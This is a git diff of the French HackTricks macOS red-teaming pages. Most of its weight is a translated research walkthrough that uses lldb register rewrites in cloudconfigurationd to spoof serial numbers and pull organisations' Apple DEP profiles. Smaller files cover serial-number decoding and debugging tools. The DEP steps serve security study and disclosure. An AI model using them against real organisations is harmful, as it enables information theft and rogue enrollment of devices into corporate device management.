= 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd', +stop reason = instruction step over frame #0: 0x000000010fd824d8 +cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73 +cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd: +-> 0x10fd824d8 <+73>: movl %ebx, %edi +0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease +0x10fd824df <+80>: testq %r14, %r14 +0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88> +Target 0: (cloudconfigurationd) stopped. +(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService` +# Step through the program execution by pressing 'n' a bunch of times and +# then 'po $r14' until we see the serial number. +(lldb) n +(lldb) po $r14 +C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry` +# Create a new variable containing an arbitrary serial number and print the memory address. +(lldb) p/x @"C02XXYYZZNNMM" +(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM" +# Rewrite the `r14` register to point to our new variable. +(lldb) register write $r14 0x00007fb6d7d05850 +(lldb) po $r14 +# Confirm that `r14` contains the new serial number. +C02XXYYZZNNMM +``` +Bien que nous ayons réussi à modifier le numéro de série récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), la charge utile `macProfile` contenait toujours le numéro de série du système, et non celui que nous avons écrit dans le registre `r14`. + +**Exploitation : Modification du dictionnaire de demande de profil avant la sérialisation JSON** + +Ensuite, nous avons essayé de définir le numéro de série qui est envoyé dans la charge utile `macProfile` d'une manière différente. Cette fois, plutôt que de modifier le numéro de série du système récupéré via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), nous avons essayé de trouver le point le plus proche dans le code où le numéro de série est encore en texte clair avant d'être signé avec Absinthe (`NACSign`). Le meilleur point à examiner semblait être `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, qui effectue approximativement les étapes suivantes : + +* Crée un nouvel objet `NSMutableData` +* Appelle `[MCTeslaConfigurationFetcher setConfigurationData:]`, en passant le nouvel objet `NSMutableData` +* Appelle `[MCTeslaConfigurationFetcher profileRequestDictionary]`, qui renvoie un objet `NSDictionary` contenant deux paires clé-valeur : +* `sn` : Le numéro de série du système +* `action` : L'action à distance à effectuer (avec `sn` comme argument) +* Appelle `[NSJSONSerialization dataWithJSONObject:]`, en passant le `NSDictionary` de `profileRequestDictionary` +* Signe la charge utile JSON à l'aide d'Absinthe (`NACSign`) +* Encode en base64 la charge utile JSON signée +* Définit la méthode HTTP sur `POST` +* Définit le corps HTTP sur la charge utile JSON signée en base64 +* Définit l'en-tête HTTP `X-Profile-Protocol-Version` sur `1` +* Définit l'en-tête HTTP `User-Agent` sur `ConfigClient-1.0` +* Utilise la méthode `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` pour effectuer la requête HTTP + +Nous avons ensuite modifié l'objet `NSDictionary` renvoyé par `profileRequestDictionary` avant d'être converti en JSON. Pour ce faire, un point d'arrêt a été défini sur `dataWithJSONObject` afin de nous rapprocher autant que possible des données non encore converties. Le point d'arrêt a réussi, et lorsque nous avons imprimé le contenu du registre que nous connaissions grâce à la désassemblage (`rdx`), nous avons obtenu les résultats que nous attendions de voir. +``` +po $rdx +{ +action = RequestProfileConfiguration; +sn = C02XXYYZZNNMM; +} +``` +Le ci-dessus est une représentation joliment formatée de l'objet `NSDictionary` renvoyé par `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Notre prochain défi était de modifier le `NSDictionary` en mémoire contenant le numéro de série. +``` +(lldb) breakpoint set -r "dataWithJSONObject" +# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. +(lldb) process attach --name "cloudconfigurationd" --waitfor +Process 3291 stopped +* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 +frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:] +Target 0: (cloudconfigurationd) stopped. +# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number. +(lldb) continue +# Create a new variable containing an arbitrary `NSDictionary` and print the memory address. +(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn", +@"RequestProfileConfiguration", @"action", nil] +(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs +# Confirm that `rdx` contains the new `NSDictionary`. +po $rdx +{ +action = RequestProfileConfiguration; +sn = +} +``` +La liste ci-dessus effectue les actions suivantes : + +* Crée un point d'arrêt d'expression régulière pour le sélecteur `dataWithJSONObject` +* Attend que le processus `cloudconfigurationd` démarre, puis s'y attache +* Poursuit l'exécution du programme (car le premier point d'arrêt que nous avons atteint pour `dataWithJSONObject` n'est pas celui appelé sur le `profileRequestDictionary`) +* Crée et affiche (en format hexadécimal en raison de `/x`) le résultat de la création de notre `NSDictionary` arbitraire +* Puisque nous connaissons déjà les noms des clés requises, nous pouvons simplement définir le numéro de série sur l'un de notre choix pour `sn` et laisser `action` inchangé +* L'impression du résultat de la création de ce nouveau `NSDictionary` nous indique que nous avons deux paires clé-valeur à un emplacement mémoire spécifique + +Notre dernière étape consistait maintenant à répéter la même étape d'écriture dans `rdx` l'emplacement mémoire de notre objet `NSDictionary` personnalisé qui contient notre numéro de série choisi : +``` +(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable +(lldb) continue +``` +Ceci pointe le registre `rdx` vers notre nouveau `NSDictionary` juste avant qu'il ne soit sérialisé en [JSON](https://www.json.org) et envoyé en `POST` à _iprofiles.apple.com/macProfile_, puis le flux du programme `continue`. + +Cette méthode de modification du numéro de série dans le dictionnaire de demande de profil avant d'être sérialisée en JSON a fonctionné. Lorsque l'on utilise un numéro de série Apple connu et enregistré dans DEP à la place de (null), le journal de débogage de `ManagedClient` a montré le profil DEP complet pour le dispositif : +``` +Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration: +{ +AllowPairing = 1; +AnchorCertificates = ( +); +AwaitDeviceConfigured = 0; +ConfigurationURL = "https://some.url/cloudenroll"; +IsMDMUnremovable = 1; +IsMandatory = 1; +IsSupervised = 1; +OrganizationAddress = "Org address"; +OrganizationAddressLine1 = "More address"; +OrganizationAddressLine2 = NULL; +OrganizationCity = A City; +OrganizationCountry = US; +OrganizationDepartment = "Org Dept"; +OrganizationEmail = "dep.management@org.url"; +OrganizationMagic = ; +OrganizationName = "ORG NAME"; +OrganizationPhone = "+1551234567"; +OrganizationSupportPhone = "+15551235678"; +OrganizationZipCode = "ZIPPY"; +SkipSetup = ( +AppleID, +Passcode, +Zoom, +Biometric, +Payment, +TOS, +TapToSetup, +Diagnostics, +HomeButtonSensitivity, +Android, +Siri, +DisplayTone, +ScreenSaver +); +SupervisorHostCertificates = ( +); +} +``` +Avec seulement quelques commandes `lldb`, nous pouvons insérer avec succès un numéro de série arbitraire et obtenir un profil DEP qui inclut diverses données spécifiques à l'organisation, y compris l'URL d'inscription MDM de l'organisation. Comme discuté, cette URL d'inscription pourrait être utilisée pour inscrire un appareil malveillant maintenant que nous connaissons son numéro de série. Les autres données pourraient être utilisées pour l'ingénierie sociale d'une inscription malveillante. Une fois inscrit, l'appareil pourrait recevoir un certain nombre de certificats, de profils, d'applications, de configurations VPN, etc. + +## Automatisation de l'instrumentation `cloudconfigurationd` avec Python + +Une fois que nous avons eu la preuve de concept initiale démontrant comment récupérer un profil DEP valide en utilisant simplement un numéro de série, nous avons cherché à automatiser ce processus pour montrer comment un attaquant pourrait exploiter cette faiblesse de l'authentification. + +Heureusement, l'API LLDB est disponible en Python via une [interface de script](https://lldb.llvm.org/python-reference.html). Sur les systèmes macOS avec les [outils de ligne de commande Xcode](https://developer.apple.com/download/more/) installés, le module Python `lldb` peut être importé comme suit: +``` +import lldb +``` +Cela a rendu relativement facile la création d'un script de notre preuve de concept démontrant comment insérer un numéro de série enregistré dans DEP et recevoir en retour un profil DEP valide. Le PoC que nous avons développé prend une liste de numéros de série séparés par des sauts de ligne et les injecte dans le processus `cloudconfigurationd` pour vérifier les profils DEP. + +![Paramètres de proxy SSL de Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b) + +![Notification DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) + +## Impact + +Il existe plusieurs scénarios dans lesquels le programme d'enregistrement des appareils d'Apple pourrait être utilisé de manière abusive, ce qui pourrait conduire à la divulgation d'informations sensibles sur une organisation. Les deux scénarios les plus évidents impliquent l'obtention d'informations sur l'organisation à laquelle un appareil appartient, qui peuvent être récupérées à partir du profil DEP. Le deuxième consiste à utiliser ces informations pour effectuer un enregistrement DEP et MDM frauduleux. Chacun de ces scénarios est discuté plus en détail ci-dessous. + +### Divulgation d'informations + +Comme mentionné précédemment, une partie du processus d'enregistrement DEP consiste à demander et recevoir un _Activation Record_ (ou profil DEP) à partir de l'API DEP. En fournissant un numéro de série système enregistré dans DEP valide, nous sommes en mesure de récupérer les informations suivantes (soit imprimées sur `stdout`, soit écrites dans le journal `ManagedClient`, selon la version de macOS). +``` +Activation record: { +AllowPairing = 1; +AnchorCertificates = ( + +); +AwaitDeviceConfigured = 0; +ConfigurationURL = "https://example.com/enroll"; +IsMDMUnremovable = 1; +IsMandatory = 1; +IsSupervised = 1; +OrganizationAddress = "123 Main Street, Anywhere, , 12345 (USA)"; +OrganizationAddressLine1 = "123 Main Street"; +OrganizationAddressLine2 = NULL; +OrganizationCity = Anywhere; +OrganizationCountry = USA; +OrganizationDepartment = "IT"; +OrganizationEmail = "dep@example.com"; +OrganizationMagic = 105CD5B18CE24784A3A0344D6V63CD91; +OrganizationName = "Example, Inc."; +OrganizationPhone = "+15555555555"; +OrganizationSupportPhone = "+15555555555"; +OrganizationZipCode = "12345"; +SkipSetup = ( + +); +SupervisorHostCertificates = ( +); +} +``` +Bien que certaines de ces informations puissent être disponibles publiquement pour certaines organisations, avoir un numéro de série d'un appareil appartenant à l'organisation ainsi que les informations obtenues à partir du profil DEP pourraient être utilisés contre le service d'assistance ou l'équipe informatique de l'organisation pour effectuer toute une série d'attaques d'ingénierie sociale, telles que la demande de réinitialisation de mot de passe ou l'aide à l'inscription d'un appareil dans le serveur MDM de l'entreprise. + +### Inscription DEP frauduleuse + +Le [protocole MDM d'Apple](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) prend en charge - mais n'exige pas - l'authentification de l'utilisateur avant l'inscription MDM via [l'authentification de base HTTP](https://en.wikipedia.org/wiki/Basic\_access\_authentication). **Sans authentification, tout ce qui est nécessaire pour inscrire un appareil dans un serveur MDM via DEP est un numéro de série DEP valide et enregistré**. Ainsi, un attaquant qui obtient un tel numéro de série (soit par [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence), l'ingénierie sociale, ou par force brute) sera en mesure d'inscrire un appareil de sa propre possession comme s'il appartenait à l'organisation, tant qu'il n'est pas actuellement inscrit dans le serveur MDM. Essentiellement, si un attaquant est capable de remporter la course en initiant l'inscription DEP avant le vrai appareil, il est capable d'assumer l'identité de cet appareil. + +Les organisations peuvent - et le font - utiliser MDM pour déployer des informations sensibles telles que des certificats d'appareil et d'utilisateur, des données de configuration VPN, des agents d'inscription, des profils de configuration et diverses autres données internes et secrets organisationnels. De plus, certaines organisations choisissent de ne pas exiger l'authentification de l'utilisateur dans le cadre de l'inscription MDM. Cela présente divers avantages, tels qu'une meilleure expérience utilisateur et de ne pas avoir à [exposer le serveur d'authentification interne au serveur MDM pour gérer les inscriptions MDM qui ont lieu en dehors du réseau d'entreprise](https://docs.simplemdm.com/article/93-ldap-authentication-with-apple-dep). + +Cela pose un problème lors de l'utilisation de DEP pour amorcer l'inscription MDM, car un attaquant serait en mesure d'inscrire n'importe quel point final de son choix dans le serveur MDM de l'organisation. De plus, une fois qu'un attaquant a réussi à inscrire un point final de son choix dans MDM, il peut obtenir un accès privilégié qui pourrait être utilisé pour pivoter davantage dans le réseau. diff --git a/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md new file mode 100644 index 000000000..f4dc67786 --- /dev/null +++ b/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -0,0 +1,88 @@ +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! + +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) + +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) + +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** + +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
+ + +Les appareils Apple fabriqués après 2010 ont généralement des numéros de série alphanumériques de **12 caractères**, les **trois premiers chiffres représentant l'emplacement de fabrication**, les **deux suivants indiquant l'année** et la **semaine** de fabrication, les **trois suivants fournissant un identifiant unique**, et les **quatre derniers chiffres représentant le numéro de modèle**. + +Exemple de numéro de série : **C02L13ECF8J2** + +## **3 - Lieux de fabrication** + +| Code | Usine | +| :--- | :--- | +| FC | Fountain Colorado, USA | +| F | Fremont, Californie, USA | +| XA, XB, QP, G8 | USA | +| RN | Mexique | +| CK | Cork, Irlande | +| VM | Foxconn, Pardubice, République tchèque | +| SG, E | Singapour | +| MB | Malaisie | +| PT, CY | Corée | +| EE, QT, UV | Taïwan | +| FK, F1, F2 | Foxconn - Zhengzhou, Chine | +| W8 | Shanghai Chine | +| DL, DM | Foxconn - Chine | +| DN | Foxconn, Chengdu, Chine | +| YM, 7J | Hon Hai/Foxconn, Chine | +| 1C, 4H, WQ, F7 | Chine | +| C0 | Tech Com - Filiale de Quanta Computer, Chine | +| C3 | Foxxcon, Shenzhen, Chine | +| C7 | Pentagone, Changhai, Chine | +| RM | Remis à neuf/remanufacturé | + +## 1 - Année de fabrication + +| Code | Sortie | +| :--- | :--- | +| C | 2010/2020 \(1ère moitié\) | +| D | 2010/2020 \(2ème moitié\) | +| F | 2011/2021 \(1ère moitié\) | +| G | 2011/2021 \(2ème moitié\) | +| H | 2012/... \(1ère moitié\) | +| J | 2012 \(2ème moitié\) | +| K | 2013 \(1ère moitié\) | +| L | 2013 \(2ème moitié\) | +| M | 2014 \(1ère moitié\) | +| N | 2014 \(2ème moitié\) | +| P | 2015 \(1ère moitié\) | +| Q | 2015 \(2ème moitié\) | +| R | 2016 \(1ère moitié\) | +| S | 2016 \(2ème moitié\) | +| T | 2017 \(1ère moitié\) | +| V | 2017 \(2ème moitié\) | +| W | 2018 \(1ère moitié\) | +| X | 2018 \(2ème moitié\) | +| Y | 2019 \(1ère moitié\) | +| Z | 2019 \(2ème moitié\) | + +## 1 - Semaine de fabrication + +Le cinquième caractère représente la semaine de fabrication de l'appareil. Il y a 28 caractères possibles à cet endroit : **les chiffres de 1 à 9 sont utilisés pour représenter les neuf premières semaines**, et les **caractères C à Y**, **à l'exception** des voyelles A, E, I, O et U, et de la lettre S, représentent les **dixième à vingt-septième semaines**. Pour les appareils fabriqués dans la **deuxième moitié de l'année, ajoutez 26** au nombre représenté par le cinquième caractère du numéro de série. Par exemple, un produit dont les quatrième et cinquième chiffres sont "JH" a été fabriqué dans la 40ème semaine de 2012. + +## 3 - Code unique + +Les trois chiffres suivants sont un code d'identification qui **sert à différencier chaque appareil Apple du même modèle** qui est fabriqué dans le même lieu et pendant la même semaine de la même année, en veillant à ce que chaque appareil ait un numéro de série différent. + +## 4 - Numéro de série + +Les quatre derniers chiffres du numéro de série représentent le **modèle du produit**. + +## Référence + +{% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %} + + diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index 6d1ff5a4c..c9bdac07a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -24,7 +24,7 @@ ## Base de MacOS -Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS: +Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS : * Fichiers et autorisations spéciaux de **macOS** : @@ -58,10 +58,10 @@ Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre le ### MacOS MDM -Dans les entreprises, les systèmes **macOS** sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** : +Dans les entreprises, les systèmes **macOS** sont très probablement **gérés avec un MDM**. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir **comment cela fonctionne** : -{% content-ref url="macos-mdm/" %} -[macos-mdm](macos-mdm/) +{% content-ref url="../macos-red-teaming/macos-mdm/" %} +[macos-mdm](../macos-red-teaming/macos-mdm/) {% endcontent-ref %} ### MacOS - Inspection, débogage et fuzzing @@ -104,7 +104,7 @@ Si un processus peut **injecter du code dans un autre processus avec des privil [macos-proces-abuse](macos-proces-abuse/) {% endcontent-ref %} -### Gestionnaires d'applications d'extension de fichier et de schéma d'URL +### Extensions de fichier et gestionnaires d'applications de schéma d'URL Des applications étranges enregistrées par des extensions de fichier peuvent être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index 90825832c..737b8f41e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -22,27 +22,30 @@ otool -tv /bin/ps #Decompile application ### objdump ### Description -`objdump` is a command-line tool that allows you to inspect binary files and object files. It can display information about the headers, sections, symbols, and relocations of a binary file. It can also disassemble the machine code of a binary file into assembly code. - -### Utilisation -To use `objdump`, simply run the command followed by the path to the binary file you want to inspect. For example: +`objdump` is a command-line utility that allows you to inspect the contents of an executable file. It can be used to disassemble machine code, display information about the file's sections and symbols, and more. +### Usage ``` -$ objdump -x /path/to/binary +objdump [options] file ``` -This will display the headers of the binary file. - -You can also use the `-d` option to disassemble the machine code: - +### Example ``` -$ objdump -d /path/to/binary +$ objdump -d /usr/bin/sudo ``` -This will display the assembly code of the binary file. +### Options +Some common options for `objdump` include: -### Conclusion -`objdump` is a powerful tool for inspecting binary files and object files. It can help you understand how a binary file works and how it is structured. It can also help you identify vulnerabilities and potential attack vectors in a binary file. +- `-d`: Disassemble the executable's machine code. +- `-h`: Display information about the file's sections. +- `-t`: Display information about the file's symbols. +- `-x`: Display all header information. +- `-S`: Display source code intermixed with disassembly. +- `-M`: Specify the architecture of the executable (e.g. `-M x86_64` for 64-bit Intel). + +### References +- [objdump man page](https://linux.die.net/man/1/objdump) ```bash objdump -m --dylibs-used /bin/ls #List dynamically linked libraries objdump -m -h /bin/ls # Get headers information @@ -69,7 +72,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom ``` ### Codesign -Codesign est un outil de ligne de commande fourni avec Xcode qui permet de signer numériquement les fichiers exécutables et les bibliothèques partagées. La signature numérique garantit que le fichier n'a pas été modifié depuis sa signature et qu'il provient d'une source fiable. Les développeurs peuvent utiliser codesign pour signer leurs applications avant de les distribuer, et les utilisateurs peuvent utiliser codesign pour vérifier l'authenticité des applications qu'ils téléchargent. +Codesign est un outil de ligne de commande fourni avec Xcode qui permet de signer numériquement les fichiers d'application macOS. La signature numérique permet de garantir l'authenticité et l'intégrité des fichiers d'application. Les développeurs peuvent utiliser codesign pour signer leurs applications avant de les distribuer aux utilisateurs finaux. Les administrateurs système peuvent également utiliser codesign pour vérifier l'authenticité des applications installées sur un système macOS. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -261,7 +264,7 @@ fs_usage -w -f network curl #This tracks network actions ### TaskExplorer [**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) est utile pour voir les **bibliothèques** utilisées par un binaire, les **fichiers** qu'il utilise et les **connexions réseau**.\ -Il vérifie également les processus binaires avec **virustotal** et affiche des informations sur le binaire. +Il vérifie également les processus binaires par rapport à **virustotal** et affiche des informations sur le binaire. ### lldb @@ -278,7 +281,7 @@ lldb -n malware.bin --waitfor | **continue (c)** | Continue l'exécution du processus en cours de débogage. | | **nexti (n / ni)** | Exécute l'instruction suivante. Cette commande sautera les appels de fonction. | | **stepi (s / si)** | Exécute l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction. | -| **finish (f)** | Exécute le reste des instructions dans la fonction ("frame") actuelle, retourne et s'arrête. | +| **finish (f)** | Exécute le reste des instructions dans la fonction ("frame") en cours, retourne et s'arrête. | | **control + c** | Interrompt l'exécution. Si le processus a été exécuté (r) ou continué (c), cela provoquera l'arrêt du processus ... où qu'il soit en train d'être exécuté. | | **breakpoint (b)** |

b main

b -[NSDictionary objectForKey:]

b 0x0000000100004bd9

br l #Liste des points d'arrêt

br e/dis <num> #Activer/Désactiver le point d'arrêt

breakpoint delete <num>
b set -n main --shlib <lib_name>

| | **help** |

help breakpoint #Obtenir de l'aide sur la commande breakpoint

help memory write #Obtenir de l'aide pour écrire dans la mémoire

| @@ -288,11 +291,11 @@ lldb -n malware.bin --waitfor | **x/b \** | Affiche la mémoire sous forme de byte. | | **print object (po)** |

Cela affichera l'objet référencé par le paramètre

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Notez que la plupart des API ou méthodes Objective-C d'Apple renvoient des objets et doivent donc être affichées via la commande "print object" (po). Si po ne produit pas de sortie significative, utilisez x/b

| | **memory** |

memory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse
memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse

| -| **disassembly** |

dis #Désassemble la fonction actuelle
dis -c 6 #Désassemble 6 lignes
dis -c 0x100003764 -e 0x100003768 # De l'une à l'autre
dis -p -c 4 # Commence à l'adresse actuelle à désassembler

| +| **disassembly** |

dis #Désassemble la fonction en cours
dis -c 6 #Désassemble 6 lignes
dis -c 0x100003764 -e 0x100003768 # De l'une à l'autre
dis -p -c 4 # Commence à l'adresse actuelle à désassembler

| | **parray** | parray 3 (char \*\*)$x1 # Vérifiez le tableau de 3 composants dans le registre x1 | {% hint style="info" %} -Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne "C" terminée par un caractère nul. Pour afficher le nom via lldb, faites : +Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul ("C"). Pour afficher le nom via lldb, faites : `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -372,6 +375,16 @@ cat procs.txt ``` Ou utilisez `netstat` ou `lsof` +### Libgmalloc + +
+ +{% code overflow="wrap" %} +```bash +lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit" +``` +{% endcode %} + ### Fuzzers #### [AFL++](https://github.com/AFLplusplus/AFLplusplus) @@ -380,9 +393,9 @@ Fonctionne pour les outils CLI #### [Litefuzz](https://github.com/sec-tools/litefuzz) -Il fonctionne "**juste"** avec les outils GUI de macOS. Notez que certaines applications macOS ont des exigences spécifiques telles que des noms de fichiers uniques, la bonne extension, la nécessité de lire les fichiers à partir du sandbox (`~/Library/Containers/com.apple.Safari/Data`)... +Il fonctionne "**juste"** avec les outils GUI macOS. Notez que certaines applications macOS ont des exigences spécifiques telles que des noms de fichiers uniques, la bonne extension, la nécessité de lire les fichiers à partir du sandbox (`~/Library/Containers/com.apple.Safari/Data`)... -Quelques exemples: +Quelques exemples : {% code overflow="wrap" %} ```bash @@ -428,7 +441,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index 34c8e5821..9d0a4e77b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -1,18 +1,18 @@ -# Abus de processus sur macOS +# Abus de processus macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Abus de processus sur macOS +## Abus de processus macOS macOS, comme tout autre système d'exploitation, fournit une variété de méthodes et de mécanismes pour que les **processus interagissent, communiquent et partagent des données**. Bien que ces techniques soient essentielles pour un fonctionnement efficace du système, elles peuvent également être utilisées de manière abusive par des acteurs malveillants pour **effectuer des activités malveillantes**. @@ -40,14 +40,36 @@ La communication inter-processus (IPC) fait référence à différentes méthode [macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/) {% endcontent-ref %} +### Injection d'applications Electron + +Les applications Electron exécutées avec des variables d'environnement spécifiques peuvent être vulnérables à l'injection de processus : + +{% content-ref url="macos-electron-applications-injection.md" %} +[macos-electron-applications-injection.md](macos-electron-applications-injection.md) +{% endcontent-ref %} + +## Détection + +### Shield + +[**Shield**](https://theevilbit.github.io/shield/) 